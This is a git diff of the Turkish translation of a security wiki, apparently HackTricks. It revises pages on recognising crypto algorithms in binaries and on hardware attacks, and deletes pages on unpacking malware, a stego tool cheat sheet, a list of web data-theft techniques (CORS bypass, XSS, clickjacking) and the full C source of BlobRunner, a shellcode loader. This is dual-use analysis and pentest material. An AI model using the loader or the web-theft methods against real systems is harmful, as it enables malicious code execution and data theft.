derece uzun fonksiyon) dayanarak. +- Bir algoritmanın Serpent olup olmadığını belirlemek basittir, uzunluğu (son derece uzun fonksiyon) ### Tanımlama -Aşağıdaki görüntüde **0x9E3779B9** sabitinin nasıl kullanıldığına dikkat edin (bu sabitin ayrıca **TEA** -Küçük Şifreleme Algoritması gibi diğer kripto algoritmalarında da kullanıldığını not edin).\ -Ayrıca **döngünün boyutunu** (**132**) ve **dekompile** talimatlarındaki ve **kod** örneğindeki **XOR işlemleri** sayısını not edin: +Aşağıdaki resimde **0x9E3779B9** sabitinin nasıl kullanıldığına dikkat edin (bu sabitin ayrıca **TEA** -Küçük Şifreleme Algoritması gibi diğer kripto algoritmalarında da kullanıldığını unutmayın).\ +Ayrıca **döngünün boyutuna** (**132**) ve **disassembly** talimatlarındaki ve **kod** örneğindeki **XOR işlemleri sayısına** dikkat edin: ![](<../../images/image (381).png>) -Daha önce belirtildiği gibi, bu kod herhangi bir dekompiler içinde **çok uzun bir fonksiyon** olarak görselleştirilebilir çünkü içinde **atlamalar** yoktur. Dekompile edilmiş kod aşağıdaki gibi görünebilir: +Daha önce belirtildiği gibi, bu kod herhangi bir decompiler içinde **çok uzun bir fonksiyon** olarak görselleştirilebilir çünkü içinde **atlamalar** yoktur. Decompile edilmiş kod aşağıdaki gibi görünebilir: ![](<../../images/image (382).png>) -Bu nedenle, bu algoritmayı tanımlamak, **büyülü sayıyı** ve **ilk XOR'ları** kontrol ederek, **çok uzun bir fonksiyon** görerek ve uzun fonksiyonun bazı **talimatlarını** bir **uygulama** ile **karşılaştırarak** mümkündür (örneğin, 7'ye sola kaydırma ve 22'ye sola döndürme). +Bu nedenle, bu algoritmayı tanımlamak, **büyü numarayı** ve **ilk XOR'ları** kontrol ederek, **çok uzun bir fonksiyon** görerek ve uzun fonksiyonun bazı **talimatlarını** (örneğin, 7'ye sola kaydırma ve 22'ye sola döndürme) bir **uygulama** ile karşılaştırarak mümkündür. ## RSA **(Asimetrik Kriptografi)** @@ -126,7 +124,7 @@ Bu nedenle, bu algoritmayı tanımlamak, **büyülü sayıyı** ve **ilk XOR'lar ![](<../../images/image (383).png>) -- 11. satırda (solda) `+7) >> 3` var, bu sağdaki 35. satırda da aynıdır: `+7) / 8` +- 11. satırda (solda) `+7) >> 3` var, bu sağdaki 35. satırda da aynı: `+7) / 8` - 12. satır (solda) `modulus_len < 0x040` kontrol ediyor ve 36. satırda (sağda) `inputLen+11 > modulusLen` kontrol ediliyor. ## MD5 & SHA (hash) @@ -140,7 +138,7 @@ Bu nedenle, bu algoritmayı tanımlamak, **büyülü sayıyı** ve **ilk XOR'lar **Init** -Her ikisini de sabitleri kontrol ederek tanımlayabilirsiniz. Not edin ki sha_init'in MD5'de olmayan 1 sabiti vardır: +Her ikisini de sabitleri kontrol ederek tanımlayabilirsiniz. sha_init'in MD5'de olmayan 1 sabiti olduğunu unutmayın: ![](<../../images/image (385).png>) @@ -152,7 +150,7 @@ Daha fazla sabit kullanıldığına dikkat edin ## CRC (hash) -- Daha küçük ve daha verimli, çünkü işlevi verilerdeki kazara değişiklikleri bulmaktır +- Daha küçük ve daha verimli çünkü işlevi verilerdeki kazara değişiklikleri bulmaktır - Sabitleri tanımlamak için arama tabloları kullanır ### Tanımlama @@ -169,7 +167,7 @@ Bir CRC hash algoritması şöyle görünür: ### Özellikler -- Tanınabilir sabit yok +- Tanınabilir sabitler yok - Algoritmayı Python'da yazmayı deneyebilir ve çevrimiçi benzer şeyler arayabilirsiniz ### Tanımlama @@ -178,7 +176,7 @@ Grafik oldukça büyük: ![](<../../images/image (207) (2) (1).png>) -Bunu tanımak için **3 karşılaştırmayı** kontrol edin: +Bunu tanımak için **3 karşılaştırmaya** bakın: ![](<../../images/image (384).png>) diff --git a/src/reversing/cryptographic-algorithms/unpacking-binaries.md b/src/reversing/cryptographic-algorithms/unpacking-binaries.md deleted file mode 100644 index 398353f18..000000000 --- a/src/reversing/cryptographic-algorithms/unpacking-binaries.md +++ /dev/null @@ -1,24 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} - -# Paketlenmiş ikililerin tanımlanması - -- **string eksikliği**: Paketlenmiş ikililerde neredeyse hiç string bulunmaması yaygındır. -- Birçok **kullanılmayan string**: Ayrıca, bir kötü amaçlı yazılım bazı ticari paketleyiciler kullanıyorsa, genellikle çapraz referanssız birçok string bulmak mümkündür. Bu stringler mevcut olsa bile, bu durum ikilinin paketlenmediği anlamına gelmez. -- Bir ikilinin hangi paketleyici ile paketlendiğini bulmak için bazı araçlar kullanabilirsiniz: -- [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml) -- [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml) -- [Language 2000](http://farrokhi.net/language/) - -# Temel Öneriler - -- Paketlenmiş ikiliyi **IDA'da alttan başlayarak analiz etmeye** **başlayın** ve yukarı doğru ilerleyin. Paket açıcılar, açılmış kod çıkınca çıkış yapar, bu nedenle paket açıcının açılmış koda başlangıçta yürütme geçirmesi olası değildir. -- **Kayıtlara** veya **bellek** **bölgelerine** **JMP** veya **CALL** arayın. Ayrıca, **argümanlar ve bir adres yönlendirmesi iten fonksiyonlar arayın ve ardından `retn` çağırın**, çünkü bu durumda fonksiyonun dönüşü, yığına itilen adresi çağırabilir. -- `VirtualAlloc` üzerinde bir **kesme noktası** koyun, çünkü bu, programın açılmış kod yazabileceği bellek alanı ayırır. "Kullanıcı koduna çalıştır" veya F8 kullanarak **EAX içindeki değere ulaşın** ve "**dump'taki o adresi takip edin**". Açılmış kodun kaydedileceği bölge olup olmadığını asla bilemezsiniz. -- **`VirtualAlloc`** ile "**40**" değeri argüman olarak, Okuma+Yazma+Çalıştırma anlamına gelir (buraya kopyalanacak çalıştırılması gereken bazı kodlar var). -- **Kod açma** sırasında **birçok çağrı** ile **aritmetik işlemler** ve **`memcopy`** veya **`Virtual`**`Alloc` gibi fonksiyonlar bulmak normaldir. Eğer yalnızca aritmetik işlemler gerçekleştiren ve belki de bazı `memcopy` yapan bir fonksiyonda iseniz, öneri **fonksiyonun sonunu bulmaya çalışmaktır** (belki bir JMP veya bazı kayıtlara çağrı) **veya** en azından **son fonksiyona yapılan çağrıya** kadar ilerleyin, çünkü kod ilginç değildir. -- Kod açma sırasında **bellek bölgesini değiştirdiğinizde** not alın, çünkü bir bellek bölgesi değişikliği **açma kodunun başlangıcını** gösterebilir. Process Hacker kullanarak bir bellek bölgesini kolayca dökebilirsiniz (işlem --> özellikler --> bellek). -- Kod açmaya çalışırken, **açılmış kodla çalışıp çalışmadığınızı bilmenin** iyi bir yolu, **ikili dosyanın stringlerini kontrol etmektir**. Eğer bir noktada bir atlama yaparsanız (belki bellek bölgesini değiştirerek) ve **çok daha fazla string eklendiğini** fark ederseniz, o zaman **açılmış kodla çalıştığınızı** bilebilirsiniz.\ -Ancak, eğer paketleyici zaten birçok string içeriyorsa, "http" kelimesini içeren string sayısını görebilir ve bu sayının artıp artmadığını kontrol edebilirsiniz. -- Bir bellek bölgesinden bir yürütülebilir dosyayı döktüğünüzde, bazı başlıkları [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases) kullanarak düzeltebilirsiniz. - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/reversing/reversing-tools/blobrunner.md b/src/reversing/reversing-tools/blobrunner.md deleted file mode 100644 index 80811cc89..000000000 --- a/src/reversing/reversing-tools/blobrunner.md +++ /dev/null @@ -1,208 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} - -[orijinal kod](https://github.com/OALabs/BlobRunner) içindeki tek değiştirilmiş satır 10. -Derlemek için sadece **Visual Studio Code'da bir C/C++ projesi oluşturun, kodu kopyalayıp yapıştırın ve derleyin**. -```c -#include -#include -#include - -#ifdef _WIN64 -#include -#endif - -// Define bool -#pragma warning(disable:4996) -#define true 1 -#define false 0 - -const char* _version = "0.0.5"; - -const char* _banner = " __________.__ ___. __________\n" -" \\______ \\ | ____\\_ |__\\______ \\__ __ ____ ____ ___________ \n" -" | | _/ | / _ \\| __ \\| _/ | \\/ \\ / \\_/ __ \\_ __ \\ \n" -" | | \\ |_( <_> ) \\_\\ \\ | \\ | / | \\ | \\ ___/| | \\/ \n" -" |______ /____/\\____/|___ /____|_ /____/|___| /___| /\\___ >__| \n" -" \\/ \\/ \\/ \\/ \\/ \\/ \n\n" -" %s \n\n"; - - -void banner() { -system("cls"); -printf(_banner, _version); -return; -} - -LPVOID process_file(char* inputfile_name, bool jit, int offset, bool debug) { -LPVOID lpvBase; -FILE* file; -unsigned long fileLen; -char* buffer; -DWORD dummy; - -file = fopen(inputfile_name, "rb"); - -if (!file) { -printf(" [!] Error: Unable to open %s\n", inputfile_name); - -return (LPVOID)NULL; -} - -printf(" [*] Reading file...\n"); -fseek(file, 0, SEEK_END); -fileLen = ftell(file); //Get Length - -printf(" [*] File Size: 0x%04x\n", fileLen); -fseek(file, 0, SEEK_SET); //Reset - -fileLen += 1; - -buffer = (char*)malloc(fileLen); //Create Buffer -fread(buffer, fileLen, 1, file); -fclose(file); - -printf(" [*] Allocating Memory..."); - -lpvBase = VirtualAlloc(NULL, fileLen, 0x3000, 0x40); - -printf(".Allocated!\n"); -printf(" [*] |-Base: 0x%08x\n", (int)(size_t)lpvBase); -printf(" [*] Copying input data...\n"); - -CopyMemory(lpvBase, buffer, fileLen); -return lpvBase; -} - -void execute(LPVOID base, int offset, bool nopause, bool jit, bool debug) -{ -LPVOID shell_entry; - -#ifdef _WIN64 -DWORD thread_id; -HANDLE thread_handle; -const char msg[] = " [*] Navigate to the Thread Entry and set a breakpoint. Then press any key to resume the thread.\n"; -#else -const char msg[] = " [*] Navigate to the EP and set a breakpoint. Then press any key to jump to the shellcode.\n"; -#endif - -shell_entry = (LPVOID)((UINT_PTR)base + offset); - -#ifdef _WIN64 - -printf(" [*] Creating Suspended Thread...\n"); -thread_handle = CreateThread( -NULL, // Attributes -0, // Stack size (Default) -shell_entry, // Thread EP -NULL, // Arguments -0x4, // Create Suspended -&thread_id); // Thread identifier - -if (thread_handle == NULL) { -printf(" [!] Error Creating thread..."); -return; -} -printf(" [*] Created Thread: [%d]\n", thread_id); -printf(" [*] Thread Entry: 0x%016x\n", (int)(size_t)shell_entry); - -#endif - -if (nopause == false) { -printf("%s", msg); -getchar(); -} -else -{ -if (jit == true) { -// Force an exception by making the first byte not executable. -// This will cause -DWORD oldp; - -printf(" [*] Removing EXECUTE access to trigger exception...\n"); - -VirtualProtect(shell_entry, 1 , PAGE_READWRITE, &oldp); -} -} - -#ifdef _WIN64 -printf(" [*] Resuming Thread..\n"); -ResumeThread(thread_handle); -#else -printf(" [*] Entry: 0x%08x\n", (int)(size_t)shell_entry); -printf(" [*] Jumping to shellcode\n"); -__asm jmp shell_entry; -#endif -} - -void print_help() { -printf(" [!] Error: No file!\n\n"); -printf(" Required args: \n\n"); -printf(" Optional Args:\n"); -printf(" --offset The offset to jump into.\n"); -printf(" --nopause Don't pause before jumping to shellcode. Danger!!! \n"); -printf(" --jit Forces an exception by removing the EXECUTE permission from the alloacted memory.\n"); -printf(" --debug Verbose logging.\n"); -printf(" --version Print version and exit.\n\n"); -} - -int main(int argc, char* argv[]) -{ -LPVOID base; -int i; -int offset = 0; -bool nopause = false; -bool debug = false; -bool jit = false; -char* nptr; - -banner(); - -if (argc < 2) { -print_help(); -return -1; -} - -printf(" [*] Using file: %s \n", argv[1]); - -for (i = 2; i < argc; i++) { -if (strcmp(argv[i], "--offset") == 0) { -printf(" [*] Parsing offset...\n"); -i = i + 1; -if (strncmp(argv[i], "0x", 2) == 0) { -offset = strtol(argv[i], &nptr, 16); -} -else { -offset = strtol(argv[i], &nptr, 10); -} -} -else if (strcmp(argv[i], "--nopause") == 0) { -nopause = true; -} -else if (strcmp(argv[i], "--jit") == 0) { -jit = true; -nopause = true; -} -else if (strcmp(argv[i], "--debug") == 0) { -debug = true; -} -else if (strcmp(argv[i], "--version") == 0) { -printf("Version: %s", _version); -} -else { -printf("[!] Warning: Unknown arg: %s\n", argv[i]); -} -} - -base = process_file(argv[1], jit, offset, debug); -if (base == NULL) { -printf(" [!] Exiting..."); -return -1; -} -printf(" [*] Using offset: 0x%08x\n", offset); -execute(base, offset, nopause, jit, debug); -printf("Pausing - Press any key to quit.\n"); -getchar(); -return 0; -} -``` -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/stealing-sensitive-information-disclosure-from-a-web.md b/src/stealing-sensitive-information-disclosure-from-a-web.md deleted file mode 100644 index ebf79cdf6..000000000 --- a/src/stealing-sensitive-information-disclosure-from-a-web.md +++ /dev/null @@ -1,13 +0,0 @@ -# Web'den Hassas Bilgilerin Çalınması - -{{#include ./banners/hacktricks-training.md}} - -Eğer bir noktada **oturumunuza dayalı olarak hassas bilgileri sunan bir web sayfası bulursanız**: Belki çerezleri yansıtıyordur, ya da kredi kartı detaylarını veya başka herhangi bir hassas bilgiyi yazdırıyordur, bunu çalmaya çalışabilirsiniz.\ -İşte bunu başarmak için deneyebileceğiniz ana yollar: - -- [**CORS bypass**](pentesting-web/cors-bypass.md): CORS başlıklarını aşabilirseniz, kötü niyetli bir sayfa için Ajax isteği yaparak bilgileri çalabilirsiniz. -- [**XSS**](pentesting-web/xss-cross-site-scripting/index.html): Sayfada bir XSS açığı bulursanız, bunu bilgileri çalmak için kötüye kullanabilirsiniz. -- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/index.html): XSS etiketlerini enjekte edemiyorsanız bile, diğer normal HTML etiketlerini kullanarak bilgileri çalmaya çalışabilirsiniz. -- [**Clickjaking**](pentesting-web/clickjacking.md): Bu saldırıya karşı bir koruma yoksa, kullanıcıyı hassas verileri göndermesi için kandırabilirsiniz (bir örnek [burada](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)). - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/stego/esoteric-languages.md b/src/stego/esoteric-languages.md deleted file mode 100644 index 88255d6eb..000000000 --- a/src/stego/esoteric-languages.md +++ /dev/null @@ -1,65 +0,0 @@ -# Esoterik diller - -{{#include ../banners/hacktricks-training.md}} - -## [Esolangs Wiki](https://esolangs.org/wiki/Main_Page) - -Daha fazla esoterik dil aramak için o wikiye göz atın - -## Malbolge -``` -('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}= -``` -[http://malbolge.doleczek.pl/](http://malbolge.doleczek.pl) - -## npiet - -![](<../images/image (146).png>) - -[https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php) - -## Rockstar -``` -Midnight takes your heart and your soul -While your heart is as high as your soul -Put your heart without your soul into your heart - -Give back your heart - - -Desire is a lovestruck ladykiller -My world is nothing -Fire is ice -Hate is water -Until my world is Desire, -Build my world up -If Midnight taking my world, Fire is nothing and Midnight taking my world, Hate is nothing -Shout "FizzBuzz!" -Take it to the top - -If Midnight taking my world, Fire is nothing -Shout "Fizz!" -Take it to the top - -If Midnight taking my world, Hate is nothing -Say "Buzz!" -Take it to the top - -Whisper my world -``` -{{#ref}} -https://codewithrockstar.com/ -{{#endref}} - -## PETOOH -``` -KoKoKoKoKoKoKoKoKoKo Kud-Kudah -KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah -KoKoKo Kud-Kudah -kOkOkOkO kudah kO kud-Kudah Ko Kukarek kudah -KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek -kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO -Kukarek -``` -{{#include ../banners/hacktricks-training.md}} diff --git a/src/stego/stego-tricks.md b/src/stego/stego-tricks.md deleted file mode 100644 index ee30d47db..000000000 --- a/src/stego/stego-tricks.md +++ /dev/null @@ -1,194 +0,0 @@ -# Stego Tricks - -{{#include ../banners/hacktricks-training.md}} - -## **Dosyalardan Veri Çıkarma** - -### **Binwalk** - -Gömülü gizli dosyaları ve verileri aramak için kullanılan bir araçtır. `apt` ile kurulur ve kaynak kodu [GitHub](https://github.com/ReFirmLabs/binwalk)'ta mevcuttur. -```bash -binwalk file # Displays the embedded data -binwalk -e file # Extracts the data -binwalk --dd ".*" file # Extracts all data -``` -### **Foremost** - -Başlıkları ve alt başlıkları temel alarak dosyaları kurtarır, png görüntüleri için faydalıdır. `apt` ile kurulur, kaynağı [GitHub](https://github.com/korczis/foremost) üzerindedir. -```bash -foremost -i file # Extracts data -``` -### **Exiftool** - -Dosya meta verilerini görüntülemeye yardımcı olur, [burada](https://www.sno.phy.queensu.ca/~phil/exiftool/) mevcuttur. -```bash -exiftool file # Shows the metadata -``` -### **Exiv2** - -Metadata görüntüleme için exiftool'a benzer. `apt` ile kurulabilir, kaynağı [GitHub](https://github.com/Exiv2/exiv2)'da bulunmaktadır ve bir [resmi web sitesi](http://www.exiv2.org/) vardır. -```bash -exiv2 file # Shows the metadata -``` -### **Dosya** - -İşlemekte olduğunuz dosya türünü belirleyin. - -### **Dizeler** - -Çıktıyı filtrelemek için çeşitli kodlama ayarları kullanarak dosyalardan okunabilir dizeleri çıkarır. -```bash -strings -n 6 file # Extracts strings with a minimum length of 6 -strings -n 6 file | head -n 20 # First 20 strings -strings -n 6 file | tail -n 20 # Last 20 strings -strings -e s -n 6 file # 7bit strings -strings -e S -n 6 file # 8bit strings -strings -e l -n 6 file # 16bit strings (little-endian) -strings -e b -n 6 file # 16bit strings (big-endian) -strings -e L -n 6 file # 32bit strings (little-endian) -strings -e B -n 6 file # 32bit strings (big-endian) -``` -### **Karşılaştırma (cmp)** - -Çevrimiçi bulunan orijinal versiyonla değiştirilmiş bir dosyayı karşılaştırmak için kullanışlıdır. -```bash -cmp original.jpg stego.jpg -b -l -``` -## **Metin İçindeki Gizli Verilerin Çıkarılması** - -### **Boşluklardaki Gizli Veriler** - -Görünüşte boş olan alanlardaki görünmez karakterler bilgi saklayabilir. Bu verileri çıkarmak için [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder) adresini ziyaret edin. - -## **Görüntülerden Veri Çıkarılması** - -### **GraphicMagick ile Görüntü Detaylarını Belirleme** - -[GraphicMagick](https://imagemagick.org/script/download.php), görüntü dosyası türlerini belirlemek ve olası bozulmaları tanımlamak için kullanılır. Bir görüntüyü incelemek için aşağıdaki komutu çalıştırın: -```bash -./magick identify -verbose stego.jpg -``` -Hasar görmüş bir görüntüyü onarmaya çalışmak için, bir meta veri yorumu eklemek faydalı olabilir: -```bash -./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg -``` -### **Veri Gizleme için Steghide** - -Steghide, `JPEG, BMP, WAV ve AU` dosyaları içinde veri gizlemeyi kolaylaştırır, şifreli verileri gömme ve çıkarma yeteneğine sahiptir. Kurulum, `apt` kullanarak basittir ve [kaynak kodu GitHub'da mevcuttur](https://github.com/StefanoDeVuono/steghide). - -**Komutlar:** - -- `steghide info file` bir dosyanın gizli veri içerip içermediğini gösterir. -- `steghide extract -sf file [--passphrase password]` gizli veriyi çıkarır, şifre isteğe bağlıdır. - -Web tabanlı çıkarım için [bu web sitesini](https://futureboy.us/stegano/decinput.html) ziyaret edin. - -**Stegcracker ile Bruteforce Saldırısı:** - -- Steghide üzerinde şifre kırma denemesi yapmak için [stegcracker](https://github.com/Paradoxis/StegCracker.git) kullanın: -```bash -stegcracker [] -``` -### **zsteg PNG ve BMP Dosyaları için** - -zsteg, PNG ve BMP dosyalarında gizli verileri ortaya çıkarmada uzmanlaşmıştır. Kurulum `gem install zsteg` ile yapılır, [kaynağı GitHub'da](https://github.com/zed-0xff/zsteg). - -**Komutlar:** - -- `zsteg -a file` bir dosya üzerinde tüm tespit yöntemlerini uygular. -- `zsteg -E file` veri çıkarımı için bir yük belirtir. - -### **StegoVeritas ve Stegsolve** - -**stegoVeritas**, meta verileri kontrol eder, görüntü dönüşümleri gerçekleştirir ve diğer özelliklerin yanı sıra LSB brute forcing uygular. Tüm seçeneklerin tam listesi için `stegoveritas.py -h` kullanın ve tüm kontrolleri gerçekleştirmek için `stegoveritas.py stego.jpg` komutunu çalıştırın. - -**Stegsolve**, görüntülerde gizli metinleri veya mesajları ortaya çıkarmak için çeşitli renk filtreleri uygular. [GitHub'da](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve) mevcuttur. - -### **Gizli İçerik Tespiti için FFT** - -Hızlı Fourier Dönüşümü (FFT) teknikleri, görüntülerde gizli içeriği açığa çıkarabilir. Yararlı kaynaklar şunlardır: - -- [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/) -- [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/) -- [FFTStegPic GitHub'da](https://github.com/0xcomposure/FFTStegPic) - -### **Stegpy Ses ve Görüntü Dosyaları için** - -Stegpy, PNG, BMP, GIF, WebP ve WAV gibi formatları destekleyerek bilgi gömülmesine olanak tanır. [GitHub'da](https://github.com/dhsdshdhk/stegpy) mevcuttur. - -### **PNG Dosyası Analizi için Pngcheck** - -PNG dosyalarını analiz etmek veya doğruluğunu kontrol etmek için: -```bash -apt-get install pngcheck -pngcheck stego.png -``` -### **Görüntü Analizi için Ek Araçlar** - -Daha fazla keşif için ziyaret etmeyi düşünün: - -- [Magic Eye Solver](http://magiceye.ecksdee.co.uk/) -- [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/) -- [Outguess](https://github.com/resurrecting-open-source-projects/outguess) -- [OpenStego](https://www.openstego.com/) -- [DIIT](https://diit.sourceforge.net/) - -## **Seslerden Veri Çıkartma** - -**Ses steganografisi**, bilgi gizlemek için ses dosyaları içinde benzersiz bir yöntem sunar. Gizli içeriği gömmek veya geri almak için farklı araçlar kullanılır. - -### **Steghide (JPEG, BMP, WAV, AU)** - -Steghide, JPEG, BMP, WAV ve AU dosyalarında veri gizlemek için tasarlanmış çok yönlü bir araçtır. Ayrıntılı talimatlar [stego tricks documentation](stego-tricks.md#steghide) içinde sağlanmıştır. - -### **Stegpy (PNG, BMP, GIF, WebP, WAV)** - -Bu araç, PNG, BMP, GIF, WebP ve WAV dahil olmak üzere çeşitli formatlarla uyumludur. Daha fazla bilgi için [Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav) bölümüne bakın. - -### **ffmpeg** - -ffmpeg, ses dosyalarının bütünlüğünü değerlendirmek için kritik öneme sahiptir, ayrıntılı bilgileri vurgular ve herhangi bir tutarsızlığı belirler. -```bash -ffmpeg -v info -i stego.mp3 -f null - -``` -### **WavSteg (WAV)** - -WavSteg, en az anlamlı bit stratejisini kullanarak WAV dosyaları içinde verileri gizleme ve çıkarma konusunda mükemmeldir. [GitHub](https://github.com/ragibson/Steganography#WavSteg)'da erişilebilir. Komutlar şunlardır: -```bash -python3 WavSteg.py -r -b 1 -s soundfile -o outputfile - -python3 WavSteg.py -r -b 2 -s soundfile -o outputfile -``` -### **Deepsound** - -Deepsound, AES-256 kullanarak ses dosyaları içindeki bilgilerin şifrelenmesi ve tespit edilmesini sağlar. [resmi sayfadan](http://jpinsoft.net/deepsound/download.aspx) indirilebilir. - -### **Sonic Visualizer** - -Ses dosyalarının görsel ve analitik incelemesi için paha biçilmez bir araç olan Sonic Visualizer, diğer yöntemlerle tespit edilemeyen gizli unsurları ortaya çıkarabilir. Daha fazla bilgi için [resmi web sitesini](https://www.sonicvisualiser.org/) ziyaret edin. - -### **DTMF Tones - Dial Tones** - -Ses dosyalarında DTMF tonlarını tespit etmek, [bu DTMF dedektörü](https://unframework.github.io/dtmf-detect/) ve [DialABC](http://dialabc.com/sound/detect/index.html) gibi çevrimiçi araçlar aracılığıyla gerçekleştirilebilir. - -## **Other Techniques** - -### **Binary Length SQRT - QR Code** - -Tam sayıya kare olan ikili veriler bir QR kodunu temsil edebilir. Kontrol etmek için bu kod parçasını kullanın: -```python -import math -math.sqrt(2500) #50 -``` -Binary'den görüntüye dönüşüm için [dcode](https://www.dcode.fr/binary-image)'u kontrol edin. QR kodları okumak için [bu çevrimiçi barkod okuyucusunu](https://online-barcode-reader.inliteresearch.com/) kullanın. - -### **Braille Çevirisi** - -Braille çevirisi için [Branah Braille Translator](https://www.branah.com/braille-translator) mükemmel bir kaynaktır. - -## **Referanslar** - -- [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/) -- [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit) - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/todo/6881-udp-pentesting-bittorrent.md b/src/todo/6881-udp-pentesting-bittorrent.md deleted file mode 100644 index b58833f93..000000000 --- a/src/todo/6881-udp-pentesting-bittorrent.md +++ /dev/null @@ -1,3 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/todo/hardware-hacking/fault_injection_attacks.md b/src/todo/hardware-hacking/fault_injection_attacks.md index cd836b8d3..39c813310 100644 --- a/src/todo/hardware-hacking/fault_injection_attacks.md +++ b/src/todo/hardware-hacking/fault_injection_attacks.md @@ -1,5 +1,9 @@ # Fault Injection Attacks -Fault injection saldırıları, elektronik devrelerde davranışını etkilemek için dışsal rahatsızlıklar tanıtmayı içerir; bu da bilgilerin ifşasına veya devredeki belirli kısıtlamaların aşılmasına yol açar. Bu saldırılar, elektronik devrelere saldırmak için birçok olasılık açar. Bu saldırıya ayrıca elektronik devrelerin glitching'i denir. +{{#include /banners/hacktricks-training.md}} -Bir elektronik devreye hata enjekte etmek için birçok yöntem ve ortam vardır. +Hata enjekte etme saldırıları, elektronik devrelerde dışsal rahatsızlıklar tanıtarak davranışlarını etkilemeyi içerir; bu da bilgilerin ifşasına veya devredeki belirli kısıtlamaların aşılmasına yol açar. Bu saldırılar, elektronik devrelere saldırmak için birçok olasılık sunar. Bu saldırıya ayrıca elektronik devrelerin glitching'i denir. + +Elektronik bir devreye hata enjekte etmenin birçok yöntemi ve aracı vardır. + +{{#include /banners/hacktricks-training.md}} diff --git a/src/todo/hardware-hacking/side_channel_analysis.md b/src/todo/hardware-hacking/side_channel_analysis.md index ef423d098..d44b007d1 100644 --- a/src/todo/hardware-hacking/side_channel_analysis.md +++ b/src/todo/hardware-hacking/side_channel_analysis.md @@ -1,7 +1,11 @@ # Side Channel Analysis Attacks -Side Channel Analysis Attacks, bir cihazdan veya varlıktan dolaylı bir etki ile başka bir kanal veya kaynak aracılığıyla bilgi belirlemeyi ifade eder ve bu bilgiden çıkarım yapılabilir. Bu, bir örnekle daha iyi açıklanabilir: +{{#include /banners/hacktricks-training.md}} -Ses kaynağına yakın cam levhalardaki titreşimlerin analizi, ancak ses kaynağına erişim yoktur. Camdaki titreşimler ses kaynağından etkilenir ve izlenip analiz edilirse, ses çözümlenip yorumlanabilir. +Side Channel Analysis Attacks, bir cihazdan veya varlıktan dolaylı bir etki ile bilgi elde etmeyi ifade eder ve bu bilgiyi çıkarmak mümkündür. Bu, bir örnekle daha iyi açıklanabilir: -Bu saldırılar, özel anahtarlar gibi veri sızıntısı durumlarında veya işlemcilerdeki işlemleri bulmada oldukça popülerdir. Bir elektronik devre, sürekli olarak bilgi sızdıran birçok kanala sahiptir. İzleme ve analiz, devre hakkında ve iç yapısı hakkında birçok bilginin açığa çıkarılması için faydalı olabilir. +Ses kaynağına yakın cam levhalardaki titreşimlerin analizi, ancak ses kaynağına erişim yok. Camdaki titreşimler ses kaynağından etkilenir ve izlenip analiz edilirse, ses çözümlenip yorumlanabilir. + +Bu saldırılar, özel anahtarlar gibi veri sızıntıları veya işlemcilerdeki işlemleri bulma durumlarında oldukça popülerdir. Bir elektronik devre, sürekli olarak bilgi sızdıran birçok kanala sahiptir. İzleme ve analiz, devre hakkında ve iç yapısı hakkında birçok bilgi açığa çıkarmak için faydalı olabilir. + +{{#include /banners/hacktricks-training.md}} diff --git a/src/todo/industrial-control-systems-hacking/README.md b/src/todo/industrial-control-systems-hacking/README.md index 9e2a90043..03fbe4353 100644 --- a/src/todo/industrial-control-systems-hacking/README.md +++ b/src/todo/industrial-control-systems-hacking/README.md @@ -1,15 +1,19 @@ # Endüstriyel Kontrol Sistemleri Hacking +{{#include /banners/hacktricks-training.md}} + ## Bu Bölüm Hakkında -Bu bölüm, Endüstriyel Kontrol Sistemleri ile ilgili kavramlar ve bunları hacklemek için çeşitli güvenlik sorunlarıyla birlikte metodolojileri içermektedir. +Bu bölüm, endüstriyel kontrol sistemleri hakkında kavramlar ve bunları çeşitli güvenlik sorunlarıyla hackleme metodolojilerini içermektedir. -Endüstriyel Kontrol Sistemleri her yerde bulunmaktadır, çünkü sanayiler bir ülkenin ekonomik gelişimi için hayati öneme sahiptir. Ancak bu ICS'lerin güncellenmesi zordur ve bu alanda daha az ilerleme kaydedilmiştir. Bu nedenle, güvenlik açıklarını bulmak burada yaygındır. Burada kullanılan çoğu protokol ve standart 90'larda geliştirilmiştir ve mevcut saldırı senaryolarına kıyasla çok daha az yeteneğe sahiptir. +Endüstriyel Kontrol Sistemleri her yerde bulunmaktadır, çünkü sanayiler bir ülkenin ekonomik gelişimi için hayati öneme sahiptir. Ancak bu ICS'lerin güncellenmesi zordur ve bu alanda daha az ilerleme kaydedilmiştir. Bu nedenle, güvenlik açıklarını bulmak burada yaygındır. Burada kullanılan protokollerin ve standartların çoğu 90'larda geliştirilmiş olup, mevcut saldırı senaryolarına kıyasla çok daha az yeteneğe sahiptir. Bu sistemleri güvence altına almak önemli hale gelmiştir, çünkü bunlara zarar vermek çok maliyetli olabilir ve en kötü durumda hayatlara mal olabilir. Endüstriyel Kontrol Sistemleri güvenliğini anlamak için, bunların iç 